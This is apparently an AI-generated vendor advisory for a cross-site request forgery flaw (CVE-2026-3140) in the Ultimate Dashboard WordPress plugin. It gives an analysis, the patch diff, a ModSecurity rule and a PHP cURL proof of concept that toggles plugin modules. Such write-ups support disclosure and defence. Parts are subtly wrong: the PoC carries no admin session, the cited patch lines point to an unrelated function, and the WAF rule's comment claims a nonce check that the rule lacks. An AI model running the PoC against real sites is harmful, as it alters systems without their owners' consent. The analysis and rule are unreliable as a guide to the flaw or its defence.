Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 17, 2026

CVE-2026-3140: Ultimate Dashboard <= 3.8.14 – Cross-Site Request Forgery to Module Activation/Deactivation (ultimate-dashboard)

CVE ID CVE-2026-3140
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 3.8.14
Patched Version 3.8.15
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3140:

This vulnerability is a Cross-Site Request Forgery (CSRF) issue in the Ultimate Dashboard plugin for WordPress, affecting all versions up to and including 3.8.14. It allows unauthenticated attackers to activate or deactivate plugin modules by tricking a site administrator into performing an action such as clicking a link. The issue stems from a flawed nonce validation conditional in the ‘handle_module_actions’ function within the ‘class-feature-module.php’ file.

The root cause is a logical error in the nonce validation conditional at line 120 of ‘class-feature-module.php’ (pre-patch). The vulnerable code checks if POST data is empty OR if a nonce exists and fails verification. This means if an attacker sends a request without a nonce parameter, the condition evaluates to false (because the first part checks empty POST data, which is false, and the second part short-circuits because the nonce is not set). The function then proceeds to process module activation or deactivation without any CSRF protection. The function is registered as an AJAX handler and processes actions like ‘udb_module_activate’ and ‘udb_module_deactivate’.

Exploitation requires tricking an administrator into visiting a crafted page or clicking a link that submits a forged POST request to the WordPress admin-ajax.php endpoint. The attacker sets the ‘action’ parameter to ‘udb_module_activate’ or ‘udb_module_deactivate’ and includes the module slug in the request. The request does not need a valid nonce. The attacker can construct a form that auto-submits or use an XMLHttpRequest from a malicious site if CORS is not restrictive. This results in arbitrary module state changes without the administrator’s consent.

The patch fixes the nonce validation by restructuring the conditional. The new code explicitly checks for a nonce, obtains it from the POST data, and verifies it with wp_verify_nonce. If the nonce is missing or invalid, it immediately returns an error. This enforces CSRF protection for all module actions. The patched function at lines 559-563 of the diff shows the corrected logic.

The impact is limited to module activation or deactivation, which is a state change. An attacker could disable critical security modules or enable unused modules that might expose additional attack surface. This does not lead to direct data exposure, privilege escalation, or remote code execution. The CVSS score of 4.3 reflects this limited but exploitable impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-dashboard/class-setup.php
+++ b/ultimate-dashboard/class-setup.php
@@ -400,6 +400,14 @@

 		wp_enqueue_script( 'udb-notice-dismissal', ULTIMATE_DASHBOARD_PLUGIN_URL . '/assets/js/notice-dismissal.js', array( 'jquery' ), ULTIMATE_DASHBOARD_PLUGIN_VERSION, true );

+		wp_localize_script(
+			'udb-notice-dismissal',
+			'udbNoticeDismissal',
+			array(
+				'nonce' => wp_create_nonce( 'udb_dismiss_notice' ),
+			)
+		);
+
 	}

 	/**
@@ -452,12 +460,18 @@
 	 */
 	public function dismiss_review_notice() {

+		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+		if ( ! wp_verify_nonce( $nonce, 'udb_dismiss_notice' ) ) {
+			wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) );
+		}
+
 		if ( empty( $_POST['dismiss'] ) ) {
-			wp_send_json_error( 'Invalid Request' );
+			wp_send_json_error( __( 'Invalid request', 'ultimate-dashboard' ) );
 		}

 		update_option( 'review_notice_dismissed', 1 );
-		wp_send_json_success( 'Review notice has been dismissed.' );
+		wp_send_json_success( __( 'Review notice has been dismissed.', 'ultimate-dashboard' ) );

 	}

@@ -545,12 +559,18 @@
 	 */
 	public function dismiss_bfcm_notice() {

+		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+		if ( ! wp_verify_nonce( $nonce, 'udb_dismiss_notice' ) ) {
+			wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) );
+		}
+
 		if ( empty( $_POST['dismiss'] ) ) {
-			wp_send_json_error( 'Invalid Request' );
+			wp_send_json_error( __( 'Invalid request', 'ultimate-dashboard' ) );
 		}

 		update_option( 'udb_bfcm_notice_dismissed_2025', 1 );
-		wp_send_json_success( 'Review notice has been dismissed.' );
+		wp_send_json_success( __( 'BFCM notice has been dismissed.', 'ultimate-dashboard' ) );

 	}

--- a/ultimate-dashboard/modules/admin-bar/templates/metaboxes/remove-admin-bar-metabox.php
+++ b/ultimate-dashboard/modules/admin-bar/templates/metaboxes/remove-admin-bar-metabox.php
@@ -26,7 +26,7 @@
 		<h3><?php esc_html_e( 'Remove Admin Bar for:', 'ultimate-dashboard' ); ?></h3>
 		<div class="field">
 			<label for="remove_by_roles" class="label select2-label">
-				<select name="remove_by_roles[]" id="remove_by_roles" class="ultiselect remove-admin-bar use-select2 is-fullwidth" multiple>
+				<select name="remove_by_roles[]" id="remove_by_roles" class="multiselect remove-admin-bar use-select2 is-fullwidth" multiple>
 					<option value="all"<?php echo ( in_array( 'all', $saved_roles, true ) ? ' selected' : '' ); ?>>
 						<?php esc_html_e( 'All', 'ultimate-dashboard' ); ?>
 					</option>
--- a/ultimate-dashboard/modules/feature/class-feature-module.php
+++ b/ultimate-dashboard/modules/feature/class-feature-module.php
@@ -117,8 +117,10 @@
 	 */
 	public function handle_module_actions() {

-		if ( empty( $_POST ) || ( ! empty( $_POST['nonce'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'udb_module_nonce_action' ) ) ) {
-			wp_send_json_error( __( 'Invalid nonce', 'ultimate-dashboard' ) );
+		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+
+		if ( ! wp_verify_nonce( $nonce, 'udb_module_nonce_action' ) ) {
+			wp_send_json_error( __( 'Invalid token', 'ultimate-dashboard' ) );
 		}

 		$capability = apply_filters( 'udb_modules_capability', 'manage_options' );
--- a/ultimate-dashboard/modules/onboarding-wizard/templates/onboarding-wizard-template.php
+++ b/ultimate-dashboard/modules/onboarding-wizard/templates/onboarding-wizard-template.php
@@ -300,7 +300,7 @@

 										<div class="role-dropdown">
 											<h3><label for="remove_by_roles" class="dropdown-label"><?php esc_html_e( 'Hide Admin Bar for:', 'ultimate-dashboard' ); ?></label></h3>
-											<select name="remove_by_roles[]" id="remove_by_roles" class="full-width-dropdown use-select2" multiple>
+											<select name="remove_by_roles[]" id="remove_by_roles" class="full-width-dropdown use-select2" multiple data-placeholder="<?php esc_attr_e( 'Select Role', 'ultimate-dashboard' ); ?>">
 												<option value="all" <?php echo esc_attr( in_array( 'all', $selected_roles, true ) ? 'selected' : '' ); ?>>
 													<?php esc_html_e( 'All', 'ultimate-dashboard' ); ?>
 												</option>
@@ -425,13 +425,11 @@
 							</h2>

 							<p data-udb-show-on="subscribe">
-								<?php esc_html_e( 'We'll send you an email with a <strong> discount code for Ultimate Dashboard PRO </strong> shortly.', 'ultimate-dashboard' ); ?>
+								<?php echo wp_kses_post( __( 'We'll send you an email with a <strong> discount code for Ultimate Dashboard PRO </strong> shortly.', 'ultimate-dashboard' ) ); ?>
 							</p>

 							<p>
-								<?php
-								esc_html_e( 'What's next? Explore all features from the <strong>"Ultimate Dash..."</strong> admin menu.', 'ultimate-dashboard' );
-								?>
+								<?php echo wp_kses_post( __( 'What's next? Explore all features from the <strong>"Ultimate Dash..."</strong> admin menu.', 'ultimate-dashboard' ) ); ?>
 							</p>

 							<p data-udb-show-on="skip-discount">
--- a/ultimate-dashboard/modules/plugin-onboarding/templates/plugin-onboarding-template.php
+++ b/ultimate-dashboard/modules/plugin-onboarding/templates/plugin-onboarding-template.php
@@ -56,7 +56,7 @@
 							<?php esc_html_e( 'Welcome to Ultimate Dashboard', 'ultimate-dashboard' ); ?>
 						</span>
 						<p class="subtitle">
-							<?php esc_html_e( 'Complete the 1-Click Setup & get an <strong style="font-weight: 700; color: tomato;">exclusive Discount</strong> on <strong>Ultimate Dashboard PRO!</strong>', 'ultimate-dashboard' ); ?>
+							<?php echo wp_kses_post( __( 'Complete the 1-Click Setup & get an <strong style="font-weight: 700; color: tomato;">exclusive Discount</strong> on <strong>Ultimate Dashboard PRO!</strong>', 'ultimate-dashboard' ) ); ?>
 						</p>
 					</div>

@@ -190,11 +190,11 @@
 							</p>

 							<p>
-								<?php esc_html_e( 'What's next? Explore all features from the <strong>"Ultimate Dash..."</strong> admin menu.', 'ultimate-dashboard' ); ?>
+								<?php echo wp_kses_post( __( 'What's next? Explore all features from the <strong>"Ultimate Dash..."</strong> admin menu.', 'ultimate-dashboard' ) ); ?>
 							</p>

 							<p data-udb-show-on="skip-discount">
-								<?php esc_html_e( 'This is your last chance to get an exclusive discount on Ultimate Dashboard PRO at the link below! 👇👇👇', 'ultimate-dashboard' ); ?>
+								<strong><?php esc_html_e( 'This is your last chance to get an exclusive discount on Ultimate Dashboard PRO at the link below! 👇👇👇', 'ultimate-dashboard' ); ?></strong>
 							</p>
 						</header>

--- a/ultimate-dashboard/modules/widget/class-widget-output.php
+++ b/ultimate-dashboard/modules/widget/class-widget-output.php
@@ -237,7 +237,20 @@
 			$output = apply_filters( 'udb_widget_output', $output, $output_args );

 			$output_callback = function () use ( $output ) {
-				echo wp_kses_post( $output );
+				$allowed_tags           = wp_kses_allowed_html( 'post' );
+				$allowed_tags['form']   = array(
+					'class'  => true,
+					'method' => true,
+					'action' => true,
+				);
+				$allowed_tags['input']  = array(
+					'type'     => true,
+					'name'     => true,
+					'value'    => true,
+					'class'    => true,
+					'required' => true,
+				);
+				echo wp_kses( $output, $allowed_tags );
 			};

 			// Add metabox.
--- a/ultimate-dashboard/ultimate-dashboard.php
+++ b/ultimate-dashboard/ultimate-dashboard.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultimate Dashboard
  * Plugin URI: https://ultimatedashboard.io/
  * Description: Create a custom Dashboard and give the WordPress admin area a more meaningful use.
- * Version: 3.8.14
+ * Version: 3.8.15
  * Author: David Vongries
  * Author URI: https://davidvongries.com/
  * License: GPL v2 or later
@@ -18,7 +18,7 @@
 // Plugin constants.
 define( 'ULTIMATE_DASHBOARD_PLUGIN_DIR', rtrim( plugin_dir_path( __FILE__ ), '/' ) );
 define( 'ULTIMATE_DASHBOARD_PLUGIN_URL', rtrim( plugin_dir_url( __FILE__ ), '/' ) );
-define( 'ULTIMATE_DASHBOARD_PLUGIN_VERSION', '3.8.14' );
+define( 'ULTIMATE_DASHBOARD_PLUGIN_VERSION', '3.8.15' );
 define( 'ULTIMATE_DASHBOARD_PLUGIN_FILE', plugin_basename( __FILE__ ) );

 // Admin menu specific support.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3140
# Block forged requests to admin-ajax.php targeting Ultimate Dashboard module actions
# without a valid nonce. This rule matches the specific AJAX action and module parameter
# pattern used in the exploit.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263140,phase:2,deny,status:403,chain,msg:'CVE-2026-3140 Ultimate Dashboard CSRF Module Action',severity:'CRITICAL',tag:'CVE-2026-3140'"
  SecRule ARGS_POST:action "@rx ^udb_module_(activate|deactivate)$" "chain"
    SecRule ARGS_POST:module "@rx ^[a-z0-9_-]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3140 - Ultimate Dashboard <= 3.8.14 - Cross-Site Request Forgery to Module Activation/Deactivation

// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // Replace with the target URL

// The AJAX endpoint for WordPress
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The action to trigger module activation (or deactivation)
// To deactivate, use 'udb_module_deactivate'
$action = 'udb_module_activate';

// The module slug to activate (example: 'admin-bar', 'feature', 'widget')
// Replace with the actual module slug you want to toggle
$module_slug = 'admin-bar';

// No nonce is needed due to the vulnerability

// Build the POST data
$post_data = array(
    'action' => $action,
    'module' => $module_slug
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Response:n";
    echo $response . "n";
    echo "nNote: A successful response (e.g., 'true' or JSON success) indicates the module was toggled.n";
    echo "If the request triggers the vulnerability, no error about invalid nonce will appear.n";
}

// Close cURL
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School